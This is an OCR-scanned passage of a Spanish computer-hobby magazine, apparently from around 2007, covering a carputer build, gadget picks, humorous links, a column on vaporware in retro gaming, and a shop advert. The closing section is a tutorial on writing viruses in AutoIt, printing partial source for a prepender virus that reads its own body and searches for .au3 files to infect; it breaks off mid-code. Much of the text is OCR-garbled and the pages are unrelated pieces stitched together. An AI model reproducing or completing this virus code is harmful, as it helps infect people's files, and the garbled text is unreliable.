ces t”, y ademas por-
que el carputer todavia
tiene unas cuantas
posibilidades mas que
otros métodos comer-
ciales para que nuestro

___coche farde mas que

cualquier bélido.

Paso a paso

Que si, que si, que mola mucho mas
eso de ponerse un dia con un montén
de componentes a meterle mano al co-
che, que irse a una tienda y comprarse
un equipo ya preparado. Ademas, se-
guro que si lo hacemos nosotros sale
mucho mas barato y podemos hacerle
todo tipo de aparios, por emplear ter-
minologia técnica. El carputer es, l6gi-
camente, un ordenador que le vamos a
poner a nuestro coche. Al principio se
pensaba en estas soluciones como una
especie de extension o ampliacidn del
RadioCD del vehiculo, afadiéndole
mas posibilidades, sobre todo en los
tiempos que el mp3 empezaba a pegar
fuerte. Nada como tener un disco duro
con miles de canciones, y un interfaz
donde poner nuestras propias listas de
reproduccian para que la misica nos
acompanara durante horas. Claro estd,

Freins ranes LAt Tt e
"‘"kr .l:‘."l e
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lo siguiente era anadirle nuevas fun-
ciones. De la midsica pasamos a las fo-
tos, ¥ de las fotos a los videos. Porque,
con eso del DiVX, jcomo prescindir de
las pelis para los viajes largos? Todos
estos avances “caseros” fueron coinci-
diendo con alternativas comerciales, a
cual mds sofisticada y sobre todo, cos-
tosa. Pero con el tiempo los productos
multimedia, mds 0 menos parecidos al
carputer, se han ido abaratando y se
han hecho mds accesibles,

Pero el encanto de llevarse el
modding al coche sigue ahi. En estos
tiempos en los que cualquier elec-
trodoméstico ya incorpora funciones
propias de un ordenador, no es nada
descabellado “exportarlo” a nuestro
coche, por algo nos pasamos horas en
él, por aquello de los largos despla-
zamientos y los atascos. Lo primero
es pasarse por buenas pdginas de car-




der para que nos den las primeras
stas, como http://foros. zackyfiles.

m/showthread.php?t=324493. A

artir de ahi, lo de siempre: el limite
ponemos nosotros, ya sea creando
ina recreativa en casa o montando un
arputer en un Opel Astra. Hay que
=ner en cuenta que los componentes
nan de ser mas especificos que los de
ualquier ordenador doméstico. Hay
ue buscar placas mas pequenas y de
menor consumo, y los expertos pare-
en inclinarse por modelos Mini-ITX.
. por supuesto, es preferible hacerse
-on un monitor de pantalla tdctil. Es
mucho mas comodo, rdpido e intuitivo.
Hay en Internet muchas soluciones de
software para crear un entorno acorde
con lo que necesitamos, accesible y
jue no distraiga. Eso si, que quede cla-
"0 que si vamos a usar el carputer, que
sea cuando estemos detenidos, o en su
fefecto que lo haga el copiloto, que
uego pasa lo que pasa. Ademds de
usarlo como reproductor multimedia
sltrasofisticado, el carputer tiene otra
gran utilidad; y es que, configurindolo
convenientemente, puede funcionar
como una avanzada herramienta de
diagndstico de nuestro coche. Puede
decirnos el estado de determinadas
piezas, casi casi como en los paneles
de control de los coches de competi-
cion, pero en nuestro modesto (o no
tan modesto) utilitario. Esta funcidn es
una de las joyas del carputer, y es una
de las bazas del sector.

Ademds de la funcién GPS, el
carputer también supone una gran
oportunidad para llevarse al coche
el navegador de Internet, el correo
electronico y demds. Se trata de una
funcion que va lentamente incorpo-
randose de serie en coches de alta
gama, como vemos en http://gizmodo.
com/gadgets/cars/bmw-officially-the-
tirst-car-with-google-search-295656.
php, y que podemos meterle a nuestro
carputer,

Inspirate con el trabajo
ajeno

Ademis de ser una fuente de infor-
macion para lo que vamos a hacer, la
Red es inevitablemente el lugar donde
podemos inspirarnos con las creacio-
nes de otros. Y el caso del carputer o
carPC tampoco iba a ser una excep-
cidn. Y, como no, encontraremos no
pocas tiendas de componentes y de so-
luciones bastante completas, por si no
queremos rompernos mucho la cabeza.
Podemos echar un vistazo a sitios co-
mo http:fwww.cartit.com/, http:/fwww,
stevieg.org/carpc/, http:/www.ibertro-
nica.es/CarPC.htm, http:/fwww.carpc.
es/store/index.php. Que haya suerte y
va sabes, si ves DiVX, no conduzcas.

51 VAMOS A USAR
EL CARPUTER,
QUE SEA CUANDO
ESTEMOS
DETENIDOS, O

EN SU DEFECTO
QUE LO HAGA EL
COPILOTO, QUE
LUEGO PASA LO
QUE PASA
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Todo un festin de cacharros en tu mesa. Y de postre,
una cuenta astronomica. Pero, Jqué mas da, si luego
podremos exhibir nuestras posesiones?

De la cinta virgen al USB

. virgen

| | 5i no puedes olvidar tus cinlas de casseite
\ grabadas de la radio, hazle con esta me-
1 moria USB. Tiene un nostélgico envoltorio
con la forma de cinla o mixtape que des-
pertara el selenterofochenterero que llevas
dentro. Como si alguna vez se hubiera
dormido...

hitpz/www.suck uk.com/product.

phplrangelD=2352
1
| Despierta con tu iPod
Monmagan nos envia este estupendo
! El Lado Oscuro te hace cabezén ratodieparaiiod EiPod o
| : Mo puede faltar ¢l gadget de rigor de La Gue- Ademds de funcionar como dock para
' rra de las Galaxias, por aquello del trigésimo reproducir y recargar el dispositivo,
' aniversario v tal. Este mes nos llega un apetl- puede despertarnos con la cancion que
| toso Darth Vader Holograma Cabezdn. Ahora gueramos. Y de disciio tampoco anda
aue se lleva eso de los bobbleheads, el Lado nada mal.
Oscuro le da su toque de distincion. http:/fes.appleweblog.com/2006/10/25/
' ¥ hitp://www.uberreview.com/2007/07 /darth- reloj-despertador-para-ipod/
4 vader-hologram-bobblehead. htm
| ‘ | ®
1 Pala “pa la” nevera
i Perddn por el chiste, no damos para mucho mas.
! Pero lo que importa es el producto, una Gtil pala para
. coger los refrescos de la nevera playera sin que se
' nos pegue la mano al hielo, y sin empapdrsela ni na-
da. Aungue con el calor que hace en verano, casi que
conviene mds empaparse el mayor liempo posible.
http:/fwww.taylorgilts.com/
prodetail~itemNo~27486.asp
]
pi e ot El sandwich es sagrado,
- INZas para las tostadas el
- rotegelo
i Si estds harto de quemarte los dedos RIOIES

No con tu vida, sino con este sencillo produc-
Lo, que ademis de envolver el sandwich en
plastico duro, tamblén pone a buen recaudo el
zumito o ¢l batido. Viene de perlas para quc
no s¢ le ponga perdido el desayuno al peoue
en el patio del colegio.

al sacar las tostadas de |a tostadora. o
bien se le atasca el pan y el boton para
que salgan no funciona, pucdes usar
. estas pinzas especialmente pensadas
| para ese electrodoméstico. A partir de
. ahora solo te quemards la lengua, y eso
‘ si no puedes csperar a que se enfrien

un poco las tostadas.
hitp:/fwww.shopcatchingfireflics.com/
Qstore/Qstore.cgi?lCMD=01 | &PROD
=|IR5213854

http:/fmww.wists.com/cribcandy/f0 [ 1 3e77a5
23bbe2felcal 5 4d96lccha
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El tren bala pasa por casa

Nada como conducir un tren bala japonés para
relajarse y dislrular del paisaje y del ingenio
nipon. Esle simulador de tren bala se conecta

a la tele como cualquier consola y permite que
nos convirtamos en conductor de este medio de
transporte. Los que se divierten con los trenes
de jugucte pueden dar el salto tecnologico.
hittp:/fwww. plasticbamboo.com/2007/08/01/
shinkansen-simulator/

Las palabras se
quedan en el aire

Spacewriler es un pequeio apara-
o que permile mostrar mensajes
“en el gire”, proyectandolos y
visibles hasta 50 metros de distan-
cia. Hasla cualro mensajes de 30
caracteres cada uno, y tres colores
disponibles para hacernos notar
alli donde vayamos. Alrds quedo
¢l obsoleto puntero liser.
http:/fwww.rocketdistribution.com/
products. php?id= 15

El sol en un tarro

El Sun Jar es todo un invento. Durante el
dia “guarda” la luz solar que le llegue, y
por la noche brilla gracias a las tres lam-
paras LED de su interior. Para el camping,
la habitacion de los nifos, o simplemente
para iluminar cualquier estancia de forma
romantica y misteriosa. Oooh.

hittpe/fwww, prezzybox.com/product sfindex.
aspIpid=4339

Yo no te pido la luna,
pero casi

5i antes hablabamos de llevarse
unos rayos de sol a casa, aqui po-
demos tracrnos algo asi como la
luna. Uina confortable y acogedora
luz blanca con forma de luna para
nuestras noches de insomnio o
simplemente para tener algo mas de
compaiiia. Dulces suefios.
http:/fenglishrussia.com/?p=1152

Cableyoyo, para no tenerlo to-

do colgando

Y nos referimos a los cables, que conste.
Con tanto gadgel y aparatejo los cables
nos salen por las orejas ya, sin EXJECrar.
Empiezan a aparecer sencillas pero dtiles
soluciones para tenerlos mds recogidos, y
Cableyoyo es una de ellas, con un disefo
bastante atractivo ademas. http:/iwww.blue-
lounge.com/cableyoyo.php

IMosaquis, un hub LISB!

En plena eclosidn de hubs USB, nada
como hacerse con uno de Los Simpson
para dar la nota. Este hub de cuatro
puertos tiene ademds a Homer haciendo
de las suyas cuando damos uso a alguno
de esos puertos. Podemos desactivar a
Homer si usamos en el hub en el trabajo
v asi no llamamos la atencion mds de la
cuenta.
http://www.whatonearthcatalog.com/
whatonezrth/Shop-By-Theme_4AA/
MoviesTelevisionPop-Culture_4BLI/
ltem_Animaled-Homer-Simpson-Multi-
USB-Port_AY0232 ps cti-4BU.html
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Eso es lo que tenemos que decir, por si hay al-
guien que se siga empenando en poner al friki
a caer de un burro, que se lleva eso mucho ulti-
mamente. Que hay muchas cosas peores en el
mundo, lefie,

El Photoshop no siempre es tu amigo

Y no nos referimos a esos retogues exageradisimos que ya son
marca de la casa en ciertas revistas http:/jezebel.com/gossip/
photoshop-of-horrors/heres-our-winner-redbook-shatters-our-fai-
th-in-well-not-publishing-but-maybe-god-278919.php), sino en
es0s fallos garrafales que se cometen por entrar con el Photos-
hop a saco. Que una cosa es pasarle el aerdgrafo a una carita o
un muslito v otra es directamente borrarlo de [a imagen porque
no queda bien. En esta pdgina tenemos unos cuantos ejemplos
de esos errores cometidos por las prisas v las ansias de retocar
sin fin. Amantes de los efectitos v los filtros, tened cuidado,
cualquier dia podéis acabar en una pagina de este tipo, para
mofa, befa y escarnio de los lectores. Usad el Phatoshep sabia-
mente, Como en http:/planethiltron.comy,

http://www.lacoctelera.com/snakesolido/post/2006/01/15/
los-profesionales-del-photoshop-tambien-se-equivocan

Nunca hay
suficientes frikis
en el mundo

AT R N WS e e e

LR ] '

- w2 s i
Flickr-
e

L = L F—

QD e B e i T

TP 21101090 31119010 H1EEIN Y
LU i

oty 9 e
AN B 0 i v
el

= ey

o Ly -
]
a

[T
2 ——

T e m
g VT ke i e
T =T

ey

hitp://gizmodo.com/gadgets/sex/terminator-sex-
positions-283966.php

Hardcore Terminator Sex, download now!

De entre todas las galerias de fotos picantes que hemos visto
ultimamente (que son muchas, palabra), esta es sin dudas la
mis friki en mucho tiempo. Se trata de una galeria de un usua-
rio de Flickr (http://mww.flickr.com/photos/31035610542@
NO1/5ets/72157594291346788/) que se ha pasado un buen rato
montando una sesion fotografica con escenas sexuales prota-
gonizadas por Terminators, concretamente por modelos T-800,
que son los que mas molan. Con estas fotos se demuestra que
el amor carnal no es exclusivo de los animales, y que los robots
también pueden hacerlo. Y esta vez no son dos robots de un
video de Bjork, sino los entrafables endoesqueletos de Termi-
nator.

Smack my bitch up

“Recién casada con Shun-
suke, el hijo mayor de la
familia Tsubakikoiji, Reiko
sufre la pérdida de su mari-
do al dia siguiente. Entre las
crueles mofas de los aristd-
cratas, la sangre no azul de
Reiko estd a punto de ebu-
llicién”. Este es el comienzo
del argumento de uno de los
juegos flash mas divertidos
de los dltimos tiempos, Rose




mellia. Un juego en el que nos dedica-
s a dar bofetadas, y a esquivarlas. Con
<tro raton y un poco de prictica nos pa-
FETTIOS LINOS
0S ratos
o tortas en
e Jueguecito
ones. Los
ilictos de
nobleza se
suelven tam-
&n a tortas,
e nadie se
ENSe e50 de
e LS ricos
& matan a in-

I
LS

nitp://nigoro.jp/game/rosecame-
Ilia/rosecamellia.php

Nada como los tatuajes de la
carcel... Con el Rumble Pak

De entre todos los usos que se le pueden dar
1 los periféricos consoleros, palabrita que
imias se nos hubiera ocurrido el que hemos
eido en Kotaku. Resulta que, segiin parece,
en las dreas de mdxima seguridad de alpunas
prisiones norteamericanas usan los Rumble
Pak de Nintendo 64... Para hacer tatuajes.
For si alguien no lo recuerda, el Rumble Pak
es un dispositivo que se insertaba en un slot
lel mando de Nintendo 64 para hacerlo
vibrar. Pues unos cuantos aios después se ha
sabido que en algunas prisiones se emplea
como motor para tatuar en las celdas. Vivir
para ver.

http://kotaku.com/gaming/case-mods/convicls-
Inked-using-n64-rumble-paks-2835 | 6.php

Mod del mes

La peli Batman Beglns, ademas de ser un estupendo nuevo comienzo de la saga
del Hombre Murciélago en los cines, dejo huella en el piblico por unos cuan-
tos motivos. Uno de ellos
es la contundencia de los
disefios, como puede apre-
ciarse en el nuevo Batmovil.
Una especie de tangue con
ruedas, con el que Batman
sc mueve sin {lorituras al
volante, También llamado
Tumbler, el nuevo Batmavil
es el vehiculo elegido para
uno de los mod del mes.

En http://www.ubergizmo.
com/ | 5/archives/2007/08/
batmobile computer

mod _is_too_cool.html y en
http://gizmodo.com/pho-
togallery/TumblerMod;
lenemos muchas imdgenes
del proceso de creacion y
del espectacular resultado,
Siguiendo con los casemods,
aqui tenemos uno que es ya
un clisico, ¢l de Doom3, en

http://www.techeblog.com/ %
index.php/tech-gadget/incre- g
dible-doom-3-case-mod. Una »

monstruosidad, pero en el
buen sentido de la palabra,
Terminamos con el concurso
de casemods patrocinado por
EA Sports, con motivo de

la promocion de FIFA"07.
En http://www.bit-tech.
net/modding/2007/07/19/
ea_fifa_07_mod/1 y en
http:/fwww.geckologie.
com/2007/08/fifa_07 com-
puter_mod.php tenemos
datos e imdgenes del gana-
dor del concurso.

¢ Te gusta el modding? ;Eres gamer? ;Quieres obtener el maximo rendimiento de tu ordenador?
¢Deseas conocer gente con tus aficiones para compartir conocimientos?
¢Quieres conocer una tienda de expertos y para expertos, donde te atienda gente como ti?

www.MOL-PC.com

Comunidad de informaticos con foro, noticias, muchas otras secciones y
una gran tienda online con miles de articulos de todo tipo.

Cl Sabino Arana, 34 48013 Bilbao - Tif: 944 27 28 32 - eMail: tienda@mod-pc.com - Skype: mod-pc
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« WEB del mes

http://www.moanmyip.com/

Salidus del mundo, he agui otro motivo del mundo
para vuestro jolgorio y algarabia. Por si no fuera
poca la excitacion experimentada por quienes oyen su
nombre susurrado de forma erdtica por su amante,
ahora llega la mencion de su ip con gemidos. O sea,
una sarla de nimeros dichos en forma de gimoteos
amorosos, para que sepas lo macho-macho que es tu
conexion. Y es que hay quien se excita con muy poca
cosa, poroue avisamos de que en la pigina no sale
ninguna imagen obscena, simplemente un reproductor
de audio, pero no hay que despreciar la erotica de las
palabras, aunque sean en inglés. {Quieres que se ani-
me el ambiente en la oficina un nebuloso lunes por la
manana? Envia este enlace a los companeros y avisales
para que le den cana a los altavoces.

£
Sexy girls
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o hay nada como volver atrds unas déca-

das en el tiempo para ver cudn horteras
hemaos sido nosotros y nuestros antepasados,
para sorprendernos luego viendo que segui-
mos siendo horteras en la actualidad y que
no vale eso de reirse tanto del pasado. En
fin. En este estupendo blog encontramos no
pocas muestras de las horribles revistas de

decoracidn y de cocina que los ojos humanos
han visto pasar, asi como de terribles anuncios
impresos. Platos que no tienen un solo dpice
de buen gusto ni sugieren que sabran mini-
mamente bien, muebles cuyo visionado haria
sangrar a cualquier decorador... El blog es de
lo mds entretenido, porque nos encontrare-
mos con recetas imposibles, presentaciones
deplorables y esloganes de ultratumba. Eso si,
habra que vernos dentro de 20 afos molan-
donos de las revistas de cocina y de decora-
cion de ahora.

Yo lo que quierno es meterle la Wii encastrada en el salpicadero del coche”: Gaby Lopaz
"Eso, ¥ vas provocando accidentes mientras juegas al Wii Sports, cenutrio”: Carlos Verdiar
"Mmmm, al Guitar Hero no se podra jugar muy bien a no ser que tenga un monovolumen... Y un chéfer”: Pablo G
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Si los de Tele5 vuelven a plantearse emitir un programa
dedicado a los videojuegos, harian bien leyéndose este
reportaje, en él encontrarian un filon que rianse ustedes
del tomate, hormigas de colores y salsas tartaras. Yo,
como si lo viera, carnaza para el cotilleo de las cosas de
lo vintage, sacudiendo trapos sucios del ano de la picor
para ver cuantos esqueletos caen y la Patifio berreandole
a Sir Clive Sinclair. Si, me gusta imaginarme a la Patino
en medio de todo el percal. Realmente excitante.

Enchufa el extractor, que se engrasa la cocina
Donde dije 'digo’ digo 'Diego’. Esa seria de forma muy rudimentaria la de-
finicion de ‘vaporware'. También valdria un 'si te he visto no me acuerdo' o
un 'no sé de qué demonios me estd hablando’ que el mofletudo Amold -Ga-
ry Coleman en realidad- soltaria entre las carcajadas enlatadas de un estudio
de television. Vaporware es vapor, humo, promesas sin sustento, el 'chupa,
chupa, que yo te aviso' de la informdtica y los videojuegos. El sabor de boca
que queda -dicen- es el mismo.

Vaporware es un tipo de desarrollo relacionado con software o hard-
ware, de computadoras domésticas o de entretenimiento por video en
Fﬂn eral, que se anuncia y que el inexorable tiempo acaba convirtiendo en
eyenda, en promesa incumplida, agua de borrajas, atrezo del cuento de la
lechera, una tomadura de pelo, un billete de cuatrocientos euros, culpable
hasta que no se demuestra lo contrario. Si lo desean puedo seguir pero por
su bien prefiero pasar al asunto en cuestidn, que es mds divertido. ;Me per-
miten? Gracias,

Rigiéndonos en lo vintage, que por ello leen ustedes esta su seccian, el
vaporware es tan viejo como aquello del orinar y tan actual como cualquier
lio de faldas entre la modelo y el futbolista de turno. ¥ es que el sentido de

EN LA PORTADA
DEL CASSETTE
VEIAMOS

UNA MOZA

Y MIENTRAS
CARGABAMOS EL
JUEGO VEIAMOS
A OTRA




K221 ZELDA FOR GAME BOY

The rumors have been flying around
for years that Nintendo was working
on a Zclda game for Game Boy.
Those rumors will become reality
this Spring when the so-Tar untitled
Zelda 1V hits the stores. Pak Watch
recently took a look at a /0% com-
plete version of the game, and wow!

RETROINFORMATICA VAPORWARE

are based on The Legend of Zelda—
A Link To The Past, but the music
and manyv of the characters are
derived from the first Zelda game.
Link's world in this 4 Mcgabit
Battery Pak is said to be as large as
A Link To The Past. Link himself
has some new moves and tools,

NINTENDO

of nightmares and dreams. ‘I"nu'f[.':

definitely be hearing more about this
one, although it may go through'y
name-change, g1

Nintendo is also working on a new
Kirby game, this time for the NES,
and Vegas Stakes. in which you are a

high-roller trying to turn chump

I'be graphics, although monochrome,  The story so far puts Link in a world  change into millions.
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3 existencia del vaporware resulta tan enciclopédico y regular

jue llega a ser interesante y curioso a partes iguales, a saber; TODO DESARROLLO QUE SE ANUNCIA ¥

NUNCA ACABA POR VER LA LUZ SE PUEDE |

ACEPTAR COMO UN VAPORWARE INOCENTE |
Todo el mundo es bueno
Conocemos un vaporware inocente el que vende la piel del
s0 antes de cazarlo, se anuncia un producto con intencién de
terminarlo cuando se ha empezado o se estd desarrollando pero
sin tener consciencia de los problemas potenciales que pueden
aparecer o si se podrd realizar con los medios disponibles. En
<0 cae cualquier hijo de vecino, la ilusién embriagadora de
alcanzar un final existoso o sin mds deseo que la pretensidn
de una continuidad normal y segura que nada haga sospechar
nconvenientes o trabas en su consecucidn. No existe fecha de
entrega, no hay prisas, se hace camino al andar y el movimiento
se demuestra andando. La médxima de Joe Rigoli: yo, sigo.

En un primer momento, beneficio de la duda mediante, todo
desarrollo que se anuncia y nunca acaba por ver la luz se pue-
de aceptar como un vaporware inocente o ingenuo. Hemos de
lamentarnos, no obstante, de que la prensa clisica de lo vintage
alimentd ciertos vaporwares hasta convertirlos en una deuda
obligada para/con el consumidor. Parece anormal, el vaporware
nace generalmente desde el propio desarrollador, crece y se ex-
pande en brazos de la prensa, y se vuelve grande y monstruoso
en manos de los usuarios, otra vez |llamados lectores.

Un gran mito del vaporware lo encontramos en un jue-
go inédito de Ultimate -ahora Rareware- de la época del ZX
Spectrum, un juego que se llamaria Mire Mare. La pista de que
pudiese existir s6lo se encontraba en el final de dos juegos de
la companiia britdnica -Knightlore y Pentagram- en los que ba-
sicamente aparecia un mensaje comunicando que la aventura
continuaria en otro juego llamado Mire Mare.

Este Mire Mare no se anuncid pdblicamente, nunca se pu-
blicd oficialmente cardtula o imagen vinculante, Ultimate nun-
ca dijo que se iba a editar o publicar el juego pero sin embargo
se da por hecho de que el juego existe y es real -sin publicar,
claro- gracias a filtraciones de imagenes y comentarios de terce-
ros desvelados muchos afios después. Se puede entender que al
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VAPORWARE ES VAPOR, HUMO,
| PROMESAS SIN SUSTENTO, EL 'CHUPA,
' CHUPA, QUE YO TE AVISO' DE LA
' INFORMATICA

haber cambios de direccidn en la politica
empresarial de Ultimate -US Gold entrd
en juego y se hizo con buena parte de la
compania- el juego no se llegase a co-
mercializar, no es que no se quisiera, es
que no se pudo. Y como buen vaporware
no existen pruebas que demuestren o
desmientan su existencia, silo palabras v
algin que otro grifico que veracidad no
5¢ o si tiene mucha.

Malos hay en todas partes

Uno que fastidia mucho es el vaporware
indecoroso, el que anuncia un producto
sin tener la intencidn expresa de termi-
narlo, pues si se pretendiese terminar no
acabaria siendo vaporware; se correspon-
de con aquel que se genera para crear
expectativas alrededor del agente que
lo anuncia, para ganar popularidad en
detrimento de la competencia, para aca-
parar la atencion del respetable, a veces
por envidia, a veces por falsa modestia, a
veces por ninguna de las dos, a veces por
las dos a la vez.

Este tipo de vaporware perdicioso
es mucho mds frecuente de lo que seria
deseable, sobre todo en desarrollos ho-
mebreed actuales. Que un grupo amateur
anuncie que va a presentar tal o cual
juego provoca una publicidad viral re-
troalimentada, persiste la noticia, copa la
atencion de todos los usuarios famélicos
de motivos para charlar; y todo eso para
seguir en el candelero y ser el més po-
pular del barrio. Se demuestra que es un
vaporware deleznable cuando el grupo
desarrollador en cuestion anuncia otros
juegos -que a su vez se convierten en
vaporware- o cuando por fin publica un
tercero o cuarto que nada tiene que ver
con los anteriores. Si no han habido cam-
bios en la composicion del grupo, si nada
externo les ha impedido acabar publi-
cando un juego nuevo Jpor qué anuncian
unos que nunca acaban por presentar
terminados? El vaporware inocente lo
acaba siendo por involuntariedad de los
desarrolladores; este vaporware indeco-
roso es a cosa hecha, con alevosia, con
ganas de incordiar. Se supone que lo dijo
Joseph Goebbels, que una mentira dicha
mil veces se convierte en realidad. O lo
que es lo mismo, si te lo dicen muchas
veces -0 desde muchos sitios a la vez- te
lo acabas creyendo, y a eso juegan esos
vaporwareadores natos. Sobre los moti-
vos para mentir va les contaré otro dia, se
lo pasarin pipa.

Ni blanco ni negro, todo lo

contrario

Otro tipo de vaporware: el indecente. Un
cocktail con ingredientes de los otros dos
tipos de vaporware, un poco de incons-




encia e ignorancia por una parte y un
oco de mala baba y soberbia por otra,
Aadir un poco de hielo y sacudir, no
agitar. Equivaldria a prometer un produc-
0 del gue no se tiene ni puietera idea
‘e como llevar a término, sin prevision,
¢ con ese toque de chuleria y audacia
ue nuestros mayores dicen que es de lo
we estan llenos los cementerios. Puede
riginarse desde el agente desarrollador
en persona o lo pur-_':fe manipular el pe-
niodismo para tener un tema perpetuo de
elucubracion, o los dos a la vez. E inclu-
w0 con terceros interesados involucrados.
£s10 era pan de cada dia en los dltimos
anos de desarrollo de juegos para Atari
VS 2600, se empezaron decenas y de-
enas de titulos que Atari anunciaba en
revistas y television y que segdn soplase
el viento cancelaban o postponian en la
parrilla de salida. El tema de hardware
laba muchisimo mds juego, anunciar el
lesarrollo de una nueva maquina, de un
nuevo dispositivo de almacenaje, de un
nuevo modo de juego era algo que satis-
facia a Atari v a los medios informativos,
v fastidiaba a la competencia, y ponia los
dientes largos a los usuarios. Y en cien
anos todos calvos.

Espana al vapor

Violviendo al Spectrum y porque es lo
gue se popularizd mds en nuestro pais,
ofro vaporware extrafio lo encontramos
con Lorna, juego previsto por Dinamic
del que si que hubieron anuncios y card-
tulas. El videojuego inspirado en el per-
sonaje de Azpiri se anuncié aqui y alld

y finalmente aparecid... pero dos afnos
después en manos de otra compania,
Topo Soft. En mala bozalera voy a meter-
me porque las informaciones sobre los
tejemanejes de este cambio de chaqueta
son como el vaporware, complicadas de
mostrar sin levantar un poco de polvo.

El Lorna de Dinamic representaria a
muy baja escala otro tipo de vaporware,
algo indefinido entre inocente, inde-
coroso, indecente y cualquier otro ad-
jetivo que se les ocurra. El caso es que
Dinamic iba a hacer un juego sobre el
personaje de comic de Alfonso Azpiri,
la exhuberante y algo libertina Lorna. Se
anuncio con una supuesta portada que
perfectamente podria haberse tratado de
una ilustracion independiente como otras
tantas ilustraciones que acabaron siendo
portada de videojuegos. Una de estas
ilustraciones de Azpiri sirvid para un jue-
go de Dinamic protagonizado por una fé-
mina en una aventura espacial, un juego
llamado Phantis. La portada en cuestion,
como era habitual, era protagonizada por
una senorita despampanante que tanto
podria ser Lorna como |la Bombi o Pame-
la Anderson en sus buenos afios. 5i em-

bargo la pantalla de carga del juego tenia
mas similitudes con otras ilustraciones de
Azpiri, estas si que intencionadamente
referentes a Lorna. Entiéndanme, en la
portada del cassette veiamos una moza y
mientras cargdbamos el juego veiamos a
otra, parecida, pero otra,

Chica en el espacio, pantalla de carga
sospechosa, anuncio de un juego de Lor-
na... ¥ va ya aparece algo como Fhantis,
de calidad ciertamente cuestionable,
iSeria este juego el Lorna pero con otro
nombre? Tal vez se tenia previsto desde
un principio comercializarlo en UKrecia
con el nombre de Game Over Il por el
éxito alcanzado con el Game Over |
y a Azpiri no le hizo gracia la idea de
rebautizar su criatura y se negd. Cabe
la ajustada posibilidad de que Dinamic
pretendiera, en efecto, publicar un Loma
pero con la vista puesta en evitar que

SE SUPONE QUE LO DIjO
JOSEPH GOBBELS, QUE
UNA MENTIRA DICHA MIL
VECES SE CONVIERTE EN
REALIDAD

otra compania de la competencia lo
hiciera, o incluso digamos que para cal-
mar al ilustrador y retenerlo en plantilla
prometiendole un videojuego sobre su
personaje. También puede ser que Azpiri
viera el resultado final del juego
y dijera que no, que eso no iba a
ser su Lorna, Esto es lo bonito del
vaporware, que uno puede soltar
lo que quiera y nadie podra de-
mostrar lo contrario nunca.

Leche quemada

El puntito guapo del vaporware
estd en el chismorreo intrinseco
que le acompania. Cualquiera
puede defender la existencia de
un vaporware que no hay Cristo
que le pueda llevar la contraria,
el nico antidoto para un produc-
to vaporwareado es terminarlo y
maostrarlo pablicamente. ¥ adn y
asi, dos tazas mas de arroz, Ca-
talina. Que somos quejicas por
naturaleza, sefiores,

Cuando uno empieza su
negocio vendiendo humo nor-
malmente lo que acababa comer-
cializando es ceniza y escoria,
pueden prometer oro y plata que
es fpn::l:ursl:ule que lo que ofrezcan
al tinal sea el del loro v el de |a
gata, un producto que no cubre

RETROINFORMATICA VAPORWARE

las espectativas anunciadas, algo cuali-
tativamente por debajo de lo mostrado

a modo de anzuelo para que la opinidn
publica pique y esté desesperada por
comprar el producto terminado. Cuando
este llega, zapatillazo que te crid.

5in necesidad de ser inocente o a co-
sa hecha, que un producto anunciado de
una manera acabe siendo comercializado
de otra también puede considerarse va-
porware porque lo que se espera recibir
es lo mostrado, no el sustitutivo. En la
época de lo vintage se empezd mostran-
do portadas extremadamente sugerentes,
enganosas si me permiten decirlo; des-
pués vinieron los publirreportajes en los
que el mandamas del momento fardaba
de lo lindo levantando el brazo sefalan-
do ahi, alld y aculld. Los reportajes de au-
tor también empezaron a ser frecuentes,
diciendo mas de lo que habia y babean-
do -y haciéndonos babear- ante promesas
que el tiempo ha acabado convirtiendo
en puro y duro vaporware, en humo, en
algo que no existe. O que al menos no
se puede demostrar fehacientemente que
exisie.

Mo me resultaria extrafio que ustedes
conocieran mas casos de vaporware, y
quizd saben o conocen de casos con
respuesta, tienen pruebas que igual les da
apuro mostrar para no caer en el patibulo
estilo Iker Jiménez. No teman, yo pueda
ser mds condescendiente, pasense por
wiww.matranet.net y pongase en conlacto
conmigo para compartir sus secretillos si
les place. La verdad estd ahi fuera, cora-
zones.
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herramientas interesantes de automatizacion.

Buenas senoras y senores, seguiremos en este niimero escribiendo sobre virus en Autolt, co-
mo dije en el numero anterior, es un lenguaje muy poderoso, para realizar procesos itiles y

Virus con Autolt
Bien, los virus, pueden generarse, programarse y pensarse, en
cualquier lenguaje de programacion. ;Por qué? Se preguntardn.
Es muy simple, todo lenguaje, o plataforma es traducida
en algin momento a lenguaje de maquina, ese codigo, puede
tener una logica, no importa cual, al procesador no le importa.
Por lo tanto, un virus puede ser escrito en cualquier lenguaje.
Autolt, es un lenguaje de scripting, para hacer automatiza-
cion de tareas, de todo tipo. Captura eventos de mouse, teclado,
y demis. Es compilable en un ejecutable, no necesita runtimes
ni tampoco el Autolt instalado.
Podemos entrar a su pdgina web para ver de que se trata el
programa: httpzwww.hiddensoft.com/autoit3/
Ahora empezaremos a ver varios tipos de virus diferentes.

Virus Prepender

Los virus prepender, como ya lo he explicado antes, son el tipo
de virus, opuestos a los appenders. Es decir, se guardan al prin-
cipio del fichero a infectar.

Por eso menciono que de manera opuesta, ya que los ap-
penders, se puardan, al final.

Fself=f5criptName
ling=""
Bwirng=""
Sreadhogtm""

v ..

fme = FileOpen(Sself, 0)
while 1
Sline = FileReadLine (5me)

Podemos ver lo sencillo que es Autolt, al igual que FBSL,
son lenguajes ficiles de entender, y por lo tanto, ficiles de pro-
gramar.

Tenemos las variables principales, donde estd $me, que con-
tiene el ID del fichero a abrir, que es el mismo virus. Luego de
abrirlo, empieza a leer linea por linea el virus...

Continuando con los Virus Prepender

Como venimos leyendo de mads arriba, los virus prepender agre-
gan su cuerpo antes del programa infectado. De manera, que,
en la parte de cidigo que veniamos leyendo, se encuentra la
parte de leerse a si mismo.

Continuemos para ver a donde nos lleva el cadigo.

If Berror = -1 Then ExitLoop

if ($line = ";endwirus") then
ExitLoop
EndIif
svirus = Swvirus & HCRLF & 5line

Wend
FileClose (Sme)
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denied:

El primer-If, nos dice que si encontrd el final de la linea, en-
tonces llegd al fin del fichero, v hace una doble comparacidn,
ya fue en el segundo If, chequea si la linea es ";endvirus® enton-
ces, sale del proceso del Ii.

Luego forma el cuerpo del virus, asigndndole un ENTER al
final, y luego la linea de fin del virus. Finalmente, cierra el whi-
le y el fichero.

S3garch = FlleFindFirstFile ("*.au3")

If 5search = -1 Then
Exit

EndIf
Aqui arriba, el virus, busca archivos con el format au3, que

es la extensidn de los archivos de programa de Autolt.
Si no se encontrd ninguno, entonces sale y finaliza el pro-

Cesg0.
While 1
Sfile = FileFindWextFile [(§saarch)
if (5file == %") then ExitLoop

Shost = Filelpen(S5file, 0)

.
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Empezamos un while, buscamos el fichero a infectar, y lue-
